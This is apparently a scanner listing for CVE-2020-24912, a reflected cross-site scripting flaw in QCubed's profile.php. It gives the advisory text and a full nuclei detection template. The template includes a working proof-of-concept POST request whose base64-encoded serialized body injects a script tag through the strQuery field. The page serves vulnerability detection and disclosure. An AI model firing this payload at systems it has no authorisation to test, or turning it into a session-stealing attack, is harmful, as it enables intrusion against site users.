QCube Cross-Site-Scripting

mediumseverity

6.1CVSS score

6.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST {{BaseURL}}/assets/_core/php/profile.php ; POST {{BaseURL}}/assets/php/profile.php ; POST {{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php
Positive when: contains "<script>alert('xss')</script>" AND contains in header "Content-Type: text/html"

Run it with nuclei: nuclei -id CVE-2020-24912 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-24912

info:
  name: QCube Cross-Site-Scripting
  author: pikpikcu
  severity: medium
  description: A reflected cross-site scripting vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.ait.ac.at/themen/cyber-security/pentesting/security-advisories/ait-sa-20210215-03
    - https://github.com/qcubed/qcubed/pull/1320/files
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24912
    - http://seclists.org/fulldisclosure/2021/Mar/30
    - http://qcubed.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24912
    cwe-id: CWE-79
    epss-score: 0.0634
    epss-percentile: 0.9369
    cpe: cpe:2.3:a:qcubed:qcubed:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: qcubed
    product: qcubed
  tags: cve2020,cve,qcubed,xss,seclists,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/assets/_core/php/profile.php"
      - "{{BaseURL}}/assets/php/profile.php"
      - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"

    body: "intDatabaseIndex=1&StrReferrer=somethinxg&strProfileData=YToxOntpOjA7YTozOntzOjEyOiJvYmpCYWNrdHJhY2UiO2E6MTp7czo0OiJhcmdzIjthOjE6e2k6MDtzOjM6IlBXTiI7fX1zOjg6InN0clF1ZXJ5IjtzOjExMjoic2VsZWN0IHZlcnNpb24oKTsgc2VsZWN0IGNvbnZlcnRfZnJvbShkZWNvZGUoJCRQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDRLJCQsJCRiYXNlNjQkJCksJCR1dGYtOCQkKSI7czoxMToiZGJsVGltZUluZm8iO3M6MToiMSI7fX0K="

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('xss')</script>"

      - type: word
        part: header
        words:
          - 'Content-Type: text/html'

References

Use this check only on systems you are authorised to test. Where the data comes from